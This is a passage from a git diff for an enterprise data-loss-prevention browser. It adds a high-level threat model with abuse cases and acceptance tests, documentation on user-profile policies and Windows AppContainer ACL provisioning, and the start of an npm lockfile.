kontrolliert verschlüsseln, Passwort-/Authentisierungsfelder nativ ausnehmen; Analystenansicht, SIEM-Belegreferenzen und physischer Daten-Lifecycle. +- [ ] Per-Agent-Identitäten, kryptografischer Request-Besitznachweis, Replay-Schutz, individuelle Widerrufe und umfassendere UI-/History-/Screenshot-Funktionen. Aktuelle DPAPI-/Loopback-Capabilities sind noch nicht das vollständige Delegationsmodell. +- [ ] Durchgehende Python-interne OCR-/YARA-/Gemma-Spans und Control-Plane-Codepfade instrumentieren; gegenwärtige Browser-Spans messen den lokalen Inspector-Aufruf, nicht alle internen Phasen. +- Anforderungen aus der jüngsten Nutzerpräzisierung stehen in `docs/agent-observability-requirements.md`: Vertraulichkeit darf relevante Security-Belege nicht unterdrücken; operationales Debug und geschützte Forensik sind getrennte Pfade. +- Windows-Paket mit stabilem Quellstand neu erstellt und vollständig geprüft (`artifacts/native-tabs-package-verification.log`), weiterhin `NotSigned`. Der erste parallele Build hatte eine während der ASAR-Erstellung geänderte Datei; neue Vor-/Nach-Quellprüfung verhindert die Abnahme solcher Artefakte. diff --git a/docs/threat-model.md b/docs/threat-model.md new file mode 100644 index 0000000..11434a2 --- /dev/null +++ b/docs/threat-model.md @@ -0,0 +1,90 @@ +# S Browser threat model and security acceptance gates + +Status: implementation threat model, 2026-10-13. This is not an independent security +assessment. See `requirements-audit.md` for current implementation evidence. + +## Assets and adversaries + +Protect confidential document/prompt bytes, credential material, browser session +authority, signed policy versions, classification features, administrator identity, +audit integrity and availability. Hashes and semantic vectors are confidential +derived data, even though source documents are not retained. + +Consider malicious sites and frames, hostile document/media files, malicious +clipboard instructions, compromised AI output, unauthorized local agents, stolen +device credentials, network interception, stale policy caches and unauthorized or +compromised management identities. A local OS administrator can replace executable +code or inspect process memory: protecting against that requires endpoint controls +outside this browser's present assurance boundary. + +## Trust boundaries + +1. **Remote site to privileged browser.** Website content has no trusted UI bridge, + Node access or administrative authority. Renderer requests and DOM observations + are untrusted; native policy checks own transfer decisions. Website appearance + cannot establish origin identity. +2. **Browser to clipboard/files/network.** Inspect before release. An approval must + bind destination, bytes, current policy and current target context. Unsupported + transfer paths remain blocked. Rich/file/subframe clipboard paths are not silently + downgraded to plain-text inspection. +3. **Document bytes to parser/model worker.** Authentication to the loopback broker + is separate from permission to parse a document. Untrusted documents must run in + a restricted worker with no broker credentials, host data access or network + capability. Job Objects limit resources but do not satisfy this boundary alone. +4. **Device to management.** Enrollment establishes device identity; it never + establishes admin authority. HTTPS, independently pinned policy keys, signed + monotone versions, expiries and authenticated device requests all remain required. +5. **Administrator to management.** Verified OIDC identity and exact role permissions + authorize every backend route. Hidden controls are a usability property. Session + revocation invalidates current cookies; removing an IdP group must also prevent + future logins. Mandatory independent approval is still a separate gate. +6. **Browser/AI gateway to approved model.** Classify locally/customer-side before + external transmission. Provider credentials stay at the gateway. Page content, + retrieved documents and model output cannot grant tool permissions or change + policies. Model similarity is evidence, not a proof of confidentiality absence. +7. **Local agent to browser.** Pairing capabilities are scoped, device-local and + revocable. Fixed actions validate the target/session again before execution. + No arbitrary JavaScript, CDP, cookie export or password export is exposed. +8. **Enforcement to audit/SIEM.** Record bounded metadata rather than source contents, + prompts or credentials. Durable event ingestion and deduplication are separate + from sampled operational traces. SIEM failures must retain a retryable backlog. + +## Abuse cases and acceptance evidence + +| ID | Abuse case | Required invariant / release test | +| --- | --- | --- | +| DLP-01 | Page swaps an approved file after scanning | Receiver obtains only the inspected immutable bytes; native file transfer binding is still open. | +| DLP-02 | Worker/frame/WebSocket/stream bypasses a form control | Every permitted channel is gated before transmission; explicitly block unsupported channels and test controlled receivers. | +| DLP-03 | Clipboard selection or destination changes during scan | Discard the pending release; scan approval cannot authorize a new selection, document or policy generation. | +| DLP-04 | ClickFix asks employee to execute copied instructions | Withhold covered dangerous command patterns; do not claim this heuristic detects all executable malware. | +| PARSE-01 | Document exploits native parser and reads user secrets | Native restricted-worker probe cannot read a synthetic private file outside explicitly approved roots. | +| PARSE-02 | Exploited parser sends document bytes to network | Native worker TCP/UDP probes fail without network capability; no loopback exemption or credential forwarding. | +| PARSE-03 | Worker forks, hangs, exhausts memory or survives owner | Process tree limits, no breakaway, deadline termination and clean subsequent scan; prove actual OS behavior. | +| POLICY-01 | Attacker replays old/expired/different-device policy | Signature, device binding, expiry and monotone revision reject it; emergency restore is published as a new version. | +| POLICY-02 | Operator forges admin permissions in session/UI | Backend recomputes role permissions; direct publication/revocation requests fail. | +| POLICY-03 | Cross-site page triggers an admin mutation | Exact Origin validation rejects cookie-authenticated writes and logout from other/missing origins. | +| AUTH-01 | Stolen/shared bootstrap token bypasses enterprise SSO | Remote HTTPS management rejects development bootstrap credentials. | +| AUTH-02 | Removed admin retains existing browser cookie | Explicit emergency session revocation rejects the next request; continuous IdP/back-channel revocation remains open. | +| PHISH-01 | Unknown domain renders a trusted login page | Pixel reference match plus exact HTTPS origin mismatch quarantines the page; validate layouts/languages/iframes and false positives before fleet-wide use. | +| AI-01 | Prompt injection asks agent/model to disclose other data | Policy and tool permissions are independent of prompt contents; retrieval ACLs and full tool governance remain open. | +| LOG-01 | Prompts, URLs with secrets or source documents enter logs | Allowlisted bounded metadata; inspect actual exported OTLP/ECS/CEF output and failure responses. | +| UPDATE-01 | Attacker supplies modified browser/model/update | Pinned artifact hashes and verified publisher signatures; production signed updater is still open. | + +## Operational response and residual risks + +Revoke compromised device credentials and management sessions; publish strengthened +rules as a new policy version and verify device acknowledgement. Preserve bounded +audit evidence under the customer's retention/access rules. Rotate affected keys +and provider credentials through deployment tooling; automated key rotation and +full incident workflow are not complete. + +Unavailable scanners, unsupported content or expired policy must not be interpreted +as an allow verdict. Test recovery separately: a blocked parser request must not +force permanent loss of the scanner. Network/proxy/VPN detection has its documented +latency and cannot prove operating-system routing on its own. + +Camera capture, manual retyping, other applications, administrator tampering, +unvalidated classifier accuracy and covert/encoded exfiltration remain residual +risks. Extend endpoint/network controls and independent bypass testing before +production approval. Each acceptance row needs evidence matching its full scope; +a green synthetic test for one path does not close all related paths. diff --git a/docs/user-profile-policies.md b/docs/user-profile-policies.md new file mode 100644 index 0000000..2ae4c63 --- /dev/null +++ b/docs/user-profile-policies.md @@ -0,0 +1,13 @@ +# Centrally managed user profiles + +Administrators can create arbitrary named profiles; employee, developer and executive are examples, not fixed roles. Profiles can target explicit device IDs or verified OIDC subject IDs. A subject applies to all devices enrolled through verified SSO for that subject. Provisioning-code labels and user-supplied enrollment fields never become verified identities. Existing provisioning-code devices can be assigned explicitly by an administrator. + +The policy publisher reviews profile CRUD, category edits and delegation changes through the same independent-review flow as other policy changes. Successful publication advances the shared signed generation. Each device receives only effective policy and assigned profile IDs, not the profile's subject lists. Profile/category snapshots accompany every policy generation; history restoration restores them at a new generation. Historical snapshots missing profile configuration cannot silently restore current profile assignments. + +Host denials and administrator-maintained domain categories combine with union. Nonempty profile allowlists intersect with the company allowlist and other matching profiles. A disjoint intersection denies every host; it never becomes unrestricted. Category matching uses the same exact/wildcard host enforcement as normal browser navigation; categories are curated host lists, not a commercial classification feed. Existing device-group restrictions apply after user profiles. + +Features currently support DevTools inherit/allow/deny; downloads, AI and agents inherit/deny; and mandatory local document scanning. DevTools allow requires the signed company `userAccess.delegatableFeatures.devTools` ceiling. Conflicting profile denies win regardless of ordering. Administrators can leave the ceiling off to prohibit delegation globally. These profiles do not disable mandatory DLP, signatures, sandboxing or parser isolation. + +API: `GET /api/admin/user-profiles`, `PUT/DELETE /api/admin/user-profiles/:id`, `POST /api/admin/user-profiles/preview`, and `PUT /api/admin/user-profile-configuration`. Mutations use `expectedVersion`; mandatory review returns 202 with the existing review ID/hash. Preview and read require policy.read; writes require policy.write, or policy.prepare when independent approval is mandatory. The configuration endpoint replaces categories and sets the DevTools delegation ceiling. It does not replace profile assignments. + +Verified automated evidence: `tests/user-profiles.test.mjs` covers same verified subject on two devices, different subjects, false user labels, explicit delegation, deny precedence, category blocking, allowlist intersection, independent review, stale publication, auditor denial and historical restore. The admin Electron smoke independently exercises custom profile creation and review. SCIM, automatic identity-group synchronization, profile-specific proxy overrides and additional feature flags remain future work. diff --git a/docs/user-profiles-admin.md b/docs/user-profiles-admin.md new file mode 100644 index 0000000..cb37f72 --- /dev/null +++ b/docs/user-profiles-admin.md @@ -0,0 +1,11 @@ +# User-profile management workflow + +The management console separates user classes from restrictive device groups. Profiles have administrator-chosen identifiers and names; the examples do not limit available classes. Employee, developer and high-protection templates populate a local draft; they never silently publish or grant access. Administrators explicitly assign verified enterprise subjects or managed device identifiers. + +The profile editor supports website allowlists, denylists and centrally maintained domain categories. Categories are administrator supplied host lists, not automatically inferred reputation. The effective preview compares the resulting device policy against the mandatory baseline. Denials accumulate across applicable profiles, and allowlists cannot override a denial. + +Developer tools grants require separate central delegation. Ordinary employee and high-protection templates deny developer tools. High protection additionally denies downloads and local agents and requires document analysis. The administrator can customize the draft before submitting it. Mandatory DLP and centrally locked or hidden settings remain authoritative. + +Profile publication and category/delegation publication use the existing policy publisher and independent approval workflow. The review screen displays exact subjects, device assignments, category definitions and feature flags through safe text rendering. On installations requiring independent approval, operators can prepare changes but another administrator must approve. Policy generation conflicts must be refreshed rather than silently overwritten. + +The assignment table distinguishes a verified subject from an unverified asset-owner label. Explicit device assignment is available when the browser has no authenticated enterprise subject; entering an employee name is not identity verification. diff --git a/docs/windows-appcontainer-installation.md b/docs/windows-appcontainer-installation.md new file mode 100644 index 0000000..31f9a99 --- /dev/null +++ b/docs/windows-appcontainer-installation.md @@ -0,0 +1,26 @@ +# Windows parser runtime ACL installation + +The inspector broker verifies every approved source, Python-runtime and local-model object with Windows `GetNamedSecurityInfoW`. Normal startup does not run `icacls`, change permissions, or require `WRITE_DAC`. It fails closed if the exact deployment AppContainer SID lacks read/execute permission, receives write permission, encounters conflicting deny ACEs, or finds a reparse point. Permission verification is conservative; administrators must resolve conflicting ACLs explicitly. + +After copying **all** installation files, the installer or deployment owner runs the installation's private Python: + +```powershell +# Development installation, from the workspace root: +.runtime/windows/python/python.exe apps/inspector/provision_runtime_acl.py --provision +# Packaged installation, from the resources directory: +python/python.exe inspector/provision_runtime_acl.py --provision +``` + +Omit `--provision` to verify without changing permissions. The command does not accept arbitrary grant paths. It derives the three approved roots from its own installed location and rejects an unrelated Python executable. It grants only read/execute to the deployment-specific package SID, never Everyone or ALL APPLICATION PACKAGES. It does not grant network capabilities or loopback exemptions. + +For a Program Files installation, provisioning requires an elevated installer or trusted service possessing permission to modify those installation DACLs. A standard user subsequently launches the broker without administrative rights; the broker can create its user AppContainer profile and read existing ACLs. An ordinary user cannot provision protected Program Files by running this command. The native tests currently prove read-only startup under the current Windows account and fail-closed missing permissions; they do **not** claim a separate standard-user Program Files deployment has been exercised on this machine. + +Provision again after replacing or adding runtime/source/model files or changing installation paths, because the SID is bound to the complete canonical root set. Run verification after provisioning and before service start. Updates must stop the broker during replacement. Production installation roots must be administrator-owned and unavailable for ordinary-user modification: read-only AppContainer grants do not prevent a deployment owner from modifying source or racing ACL provisioning. The command rejects existing reparse points but cannot protect an administrator-owned installation from a malicious administrator. + +Native verification: + +```powershell +.runtime/windows/python/python.exe -m unittest discover -s apps/inspector -p test_windows_appcontainer.py +``` + +The tests provision synthetic/development roots explicitly, intercept any startup subprocess invocation, launch an actual AppContainer worker under verified ACLs, and reject an unprovisioned directory. Existing token, denied private-file access, denied runtime writes, denied networking, child containment, parser/YARA and deadline tests remain active. diff --git a/package-lock.json b/package-lock.json new file mode 100644 index 0000000..1138ce3 --- /dev/null +++ b/package-lock.json @@ -0,0 +1,4966 @@ +{ + "name": "safetynet", + "version": "0.1.0", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "safetynet", + "version": "0.1.0", + "dependencies": { + "@opentelemetry/api": "^1.9.0", + "@opentelemetry/api-logs": "^0.223.0", + "@opentelemetry/exporter-logs-otlp-http": "^0.223.0", + "@opentelemetry/exporter-metrics-otlp-http": "^0.223.0", + "@opentelemetry/exporter-trace-otlp-http": "0.223.0", + "@opentelemetry/resources": "2.12.0", + "@opentelemetry/sdk-logs": "^0.223.0", + "@opentelemetry/sdk-metrics": "^2.12.0", + "@opentelemetry/sdk-node": "0.223.0", + "@opentelemetry/sdk-trace": "2.12.0", + "express": "5.3.0", + "jose": "6.2.12", + "pngjs": "7.0.0", + "zod": "^4.3.6" + }, + "devDependencies": { + "electron": "44.7.0", + "electron-builder": "26.15.3", + "lucide-static": "1.55.0" + } + }, + "node_modules/@electron-internal/extract-zip": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/@electron-internal/extract-zip/-/extract-zip-1.0.5.tgz", + "integrity": "sha512-+bqFCP98pLI0Tt0XQo1TmlXtwjWchISndDOxCkEcIuUgXWpBnLyRI+2DU+mesvnMMX6L1XDqYNA0lXNDHd/yiA==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=22.12.0" + } + }, + "node_modules/@electron/asar": { + "version": "3.4.1", + "resolved": "https://registry.npmjs.org/@electron/asar/-/asar-3.4.1.tgz", + "integrity": "sha512-i4/rNPRS84t0vSRa2HorerGRXWyF4vThfHesw0dmcWHp+cspK743UanA0suA5Q5y8kzY2y6YKrvbIUn69BCAiA==", + "dev": true, + "license": "MIT", + "dependencies": { + "commander": "^5.0.0", + "glob": "^7.1.6", + "minimatch": "^3.0.4" + }, + "bin": { + "asar": "bin/asar.js" + }, + "engines": { + "node": ">=10.12.0" + } + }, + "node_modules/@electron/asar/node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "dev": true, + "license": "MIT" + }, + "node_modules/@electron/asar/node_modules/brace-expansion": { + "version": "1.1.21", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.21.tgz", + "integrity": "sha512-9zeA+KLZNNzglF2TPKRQEDyx6Yby7daAkuy8MiPzpXPsYDWi/DRM8jmwUDxokQjYqBpv5DgPiwD4h4ZZSy1Ujw==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/@electron/asar/node_modules/minimatch": { + "version": "3.1.5", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz", + "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==", + "dev": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/@electron/fuses": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/@electron/fuses/-/fuses-1.8.0.tgz", + "integrity": "sha512-zx0EIq78WlY/lBb1uXlziZmDZI4ubcCXIMJ4uGjXzZW0nS19TjSPeXPAjzzTmKQlJUZm0SbmZhPKP7tuQ1SsEw==", + "dev": true, + "license": "MIT", + "dependencies": { + "chalk": "^4.1.1", + "fs-extra": "^9.0.1", + "minimist": "^1.2.5" + }, + "bin": { + "electron-fuses": "dist/bin.js" + } + }, + "node_modules/@electron/fuses/node_modules/fs-extra": { + "version": "9.1.0", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-9.1.0.tgz", + "integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "at-least-node": "^1.0.0", + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@electron/get": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/@electron/get/-/get-5.1.0.tgz", + "integrity": "sha512-3kSBtG8ObcTVfXanm5vVJ6UnBLEVmVsRk1M+vGqCuMBV+XLCbJYuWQful+yIy0GQDsSlK0kHEriEHn7SPk4EnA==", + "dev": true, + "license": "MIT", + "dependencies": { + "debug": "^4.1.1", + "env-paths": "^3.0.0", + "graceful-fs": "^4.2.11", + "progress": "^2.0.3", + "semver": "^7.6.3", + "sumchecker": "^3.0.1" + }, + "engines": { + "node": ">=22.12.0" + }, + "optionalDependencies": { + "undici": "^7.24.4" + } + }, + "node_modules/@electron/notarize": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@electron/notarize/-/notarize-2.5.0.tgz", + "integrity": "sha512-jNT8nwH1f9X5GEITXaQ8IF/KdskvIkOFfB2CvwumsveVidzpSc+mvhhTMdAGSYF3O+Nq49lJ7y+ssODRXu06+A==", + "dev": true, + "license": "MIT", + "dependencies": { + "debug": "^4.1.1", + "fs-extra": "^9.0.1", + "promise-retry": "^2.0.1" + }, + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/@electron/notarize/node_modules/fs-extra": { + "version": "9.1.0", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-9.1.0.tgz", + "integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "at-least-node": "^1.0.0", + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@electron/osx-sign": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/@electron/osx-sign/-/osx-sign-1.3.3.tgz", + "integrity": "sha512-KZ8mhXvWv2rIEgMbWZ4y33bDHyUKMXnx4M0sTyPNK/vcB81ImdeY9Ggdqy0SWbMDgmbqyQ+phgejh6V3R2QuSg==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "compare-version": "^0.1.2", + "debug": "^4.3.4", + "fs-extra": "^10.0.0", + "isbinaryfile": "^4.0.8", + "minimist": "^1.2.6", + "plist": "^3.0.5" + }, + "bin": { + "electron-osx-flat": "bin/electron-osx-flat.js", + "electron-osx-sign": "bin/electron-osx-sign.js" + }, + "engines": { + "node": ">=12.0.0" + } + }, + "node_modules/@electron/osx-sign/node_modules/isbinaryfile": { + "version": "4.0.10", + "resolved": "https://registry.npmjs.org/isbinaryfile/-/isbinaryfile-4.0.10.tgz", + "integrity": "sha512-iHrqe5shvBUcFbmZq9zOQHBoeOhZJu6RQGrDpBgenUm/Am+F3JM2MgQj+rK3Z601fzrL5gLZWtAPH2OBaSVcyw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 8.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/gjtorikian/" + } + }, + "node_modules/@electron/rebuild": { + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/@electron/rebuild/-/rebuild-4.2.1.tgz", + "integrity": "sha512-IS4pG3BysRrCLJ8xTAfvg+IQDbiUoAzdJy2SfjcYKnLDy5DpCdjnPdhS5Zf5UMfrkB24xu0KC+TqcOxg+eG+6w==", + "dev": true, + "license": "MIT", + "dependencies": { + "@malept/cross-spawn-promise": "^2.0.0", + "debug": "^4.1.1", + "node-abi": "^4.2.0", + "node-api-version": "^0.2.1", + "node-gyp": "^12.2.0", + "read-binary-file-arch": "^1.0.6" + }, + "bin": { + "electron-rebuild": "lib/cli.js" + }, + "engines": { + "node": ">=22.12.0" + } + }, + "node_modules/@electron/universal": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/@electron/universal/-/universal-2.0.3.tgz", + "integrity": "sha512-Wn9sPYIVFRFl5HmwMJkARCCf7rqK/EurkfQ/rJZ14mHP3iYTjZSIOSVonEAnhWeAXwtw7zOekGRlc6yTtZ0t+g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@electron/asar": "^3.3.1", + "@malept/cross-spawn-promise": "^2.0.0", + "debug": "^4.3.1", + "dir-compare": "^4.2.0", + "fs-extra": "^11.1.1", + "minimatch": "^9.0.3", + "plist": "^3.1.0" + }, + "engines": { + "node": ">=16.4" + } + }, + "node_modules/@electron/universal/node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "dev": true, + "license": "MIT" + }, + "node_modules/@electron/universal/node_modules/brace-expansion": { + "version": "2.1.7", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.1.7.tgz", + "integrity": "sha512-uZbew1NqdmPDTMJ8ah1y+b+9QEJrfkXFk3RcTQw3X0jW/xRUvFKsg1CfQdSYGdTbXZWExtU3J3ccxtnfw1Fi0g==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0" + } + }, + "node_modules/@electron/universal/node_modules/fs-extra": { + "version": "11.4.1", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-11.4.1.tgz", + "integrity": "sha512-KYAb4c9BJQI6QqGKthV68OHe0badztdXJWKo0WtBA9IuCFPTKvE5ZdUBglP833aMjhaSPNO4A5j/EkzZtGlKjA==", + "dev": true, + "license": "MIT", + "dependencies": { + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=14.14" + } + }, + "node_modules/@electron/universal/node_modules/minimatch": { + "version": "9.0.9", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.9.tgz", + "integrity": "sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg==", + "dev": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^2.0.2" + }, + "engines": { + "node": ">=16 || 14 >=14.17" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/@electron/windows-sign": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/@electron/windows-sign/-/windows-sign-1.2.2.tgz", + "integrity": "sha512-dfZeox66AvdPtb2lD8OsIIQh12Tp0GNCRUDfBHIKGpbmopZto2/A8nSpYYLoedPIHpqkeblZ/k8OV0Gy7PYuyQ==", + "dev": true, + "license": "BSD-2-Clause", + "optional": true, + "peer": true, + "dependencies": { + "cross-dirname": "^0.1.0", + "debug": "^4.3.4", + "fs-extra": "^11.1.1", + "minimist": "^1.2.8", + "postject": "^1.0.0-alpha.6" + }, + "bin": { + "electron-windows-sign": "bin/electron-windows-sign.js" + }, + "engines": { + "node": ">=14.14" + } + }, + "node_modules/@electron/windows-sign/node_modules/fs-extra": { + "version": "11.4.1", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-11.4.1.tgz", + "integrity": "sha512-KYAb4c9BJQI6QqGKthV68OHe0badztdXJWKo0WtBA9IuCFPTKvE5ZdUBglP833aMjhaSPNO4A5j/EkzZtGlKjA==", + "dev": true, + "license": "MIT", + "optional": true, + "peer": true, + "dependencies": { + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=14.14" + } + }, + "node_modules/@grpc/grpc-js": { + "version": "1.14.6", + "resolved": "https://registry.npmjs.org/@grpc/grpc-js/-/grpc-js-1.14.6.tgz", + "integrity": "sha512-SgC/B3/VZ8lTyOZ4Cwk6f1skWhmkNAaVfiX90qd5u1rRXGKk1//8FTUEN9GvOUq7rfWIqAYkA3CoyumYVpOS6g==", + "license": "Apache-2.0", + "dependencies": { + "@grpc/proto-loader": "^0.8.0", + "@js-sdsl/ordered-map": "^4.4.2" + }, + "engines": { + "node": ">=12.10.0" + } + }, + "node_modules/@grpc/proto-loader": { + "version": "0.8.1", + "resolved": "https://registry.npmjs.org/@grpc/proto-loader/-/proto-loader-0.8.1.tgz", + "integrity": "sha512-wtF6h+DY6M3YaDBPAmvuuA6jV8Sif9MjtOI5euKFWRgCDl5PeDpPsHR9u2l6St5ceY8AZgoNDww5+HvEsXFsGg==", + "license": "Apache-2.0", + "dependencies": { + "lodash.camelcase": "^4.3.0", + "long": "^5.0.0", + "protobufjs": "^7.5.5", + "yargs": "^17.7.2" + }, + "bin": { + "proto-loader-gen-types": "build/bin/proto-loader-gen-types.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/@isaacs/fs-minipass": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/@isaacs/fs-minipass/-/fs-minipass-4.0.1.tgz", + "integrity": "sha512-wgm9Ehl2jpeqP3zw/7mo3kRHFp5MEDhqAdwy1fTGkHAwnkGOVsgpvQhL8B5n1qlb01jV3n/bI0ZfZp5lWA1k4w==", + "dev": true, + "license": "ISC", + "dependencies": { + "minipass": "^7.0.4" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@js-sdsl/ordered-map": { + "version": "4.4.2", + "resolved": "https://registry.npmjs.org/@js-sdsl/ordered-map/-/ordered-map-4.4.2.tgz", + "integrity": "sha512-iUKgm52T8HOE/makSxjqoWhe95ZJA1/G1sYsGev2JDKUSS14KAgg1LHb+Ba+IPow0xflbnSkOsZcO08C7w1gYw==", + "license": "MIT", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/js-sdsl" + } + }, + "node_modules/@malept/cross-spawn-promise": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@malept/cross-spawn-promise/-/cross-spawn-promise-2.0.0.tgz", + "integrity": "sha512-1DpKU0Z5ThltBwjNySMC14g0CkbyhCaz9FkhxqNsZI6uAPJXFS8cMXlBKo26FJ8ZuW6S9GCMcR9IO5k2X5/9Fg==", + "dev": true, + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/malept" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/subscription/pkg/npm-.malept-cross-spawn-promise?utm_medium=referral&utm_source=npm_fund" + } + ], + "license": "Apache-2.0", + "dependencies": { + "cross-spawn": "^7.0.1" + }, + "engines": { + "node": ">= 12.13.0" + } + }, + "node_modules/@malept/flatpak-bundler": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/@malept/flatpak-bundler/-/flatpak-bundler-0.4.0.tgz", + "integrity": "sha512-9QOtNffcOF/c1seMCDnjckb3R9WHcG34tky+FHpNKKCW0wc/scYLwMtO+ptyGUfMW0/b/n4qRiALlaFHc9Oj7Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "debug": "^4.1.1", + "fs-extra": "^9.0.0", + "lodash": "^4.17.15", + "tmp-promise": "^3.0.2" + }, + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/@malept/flatpak-bundler/node_modules/fs-extra": { + "version": "9.1.0", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-9.1.0.tgz", + "integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "at-least-node": "^1.0.0", + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@noble/hashes": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/@noble/hashes/-/hashes-2.4.0.tgz", + "integrity": "sha512-X5XaVWZIBCT7HHZGm5I7ZQXDwLG+bGXuSrMQAW+7Zvl87h1kmc1ZB1VSRJcpUfoUrGQp4Fkoxm5kZ+Ms+aW+eA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 20.19.0" + }, + "funding": { + "url": "https://paulmillr.com/funding/" + } + }, + "node_modules/@opentelemetry/api": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/api/-/api-1.9.1.tgz", + "integrity": "sha512-gLyJlPHPZYdAk1JENA9LeHejZe1Ti77/pTeFm/nMXmQH/HFZlcS/O2XJB+L8fkbrNSqhdtlvjBVjxwUYanNH5Q==", + "license": "Apache-2.0", + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/@opentelemetry/api-logs": { + "version": "0.223.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/api-logs/-/api-logs-0.223.0.tgz", + "integrity": "sha512-Oepm6etVPFCn0VWB1t833iOTgz1eYBDUPxcrOR/XvwzD1+Ag9VzSPSrrKAFNJ/haatj+8CXbG47pZXvdNQKDJw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/api": "^1.3.0" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/@opentelemetry/configuration": { + "version": "0.223.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/configuration/-/configuration-0.223.0.tgz", + "integrity": "sha512-KgyHXS8weyh+mJWVZ2+3hmu7J4mwU661Y8yQ1PvBAEY7G63X8qfGr6uN61MNJrN+YzP+dC5x6PmBEgdh7x6coQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.12.0", + "yaml": "^2.8.3" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.9.0" + } + }, + "node_modules/@opentelemetry/context-async-hooks": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/context-async-hooks/-/context-async-hooks-2.12.0.tgz", + "integrity": 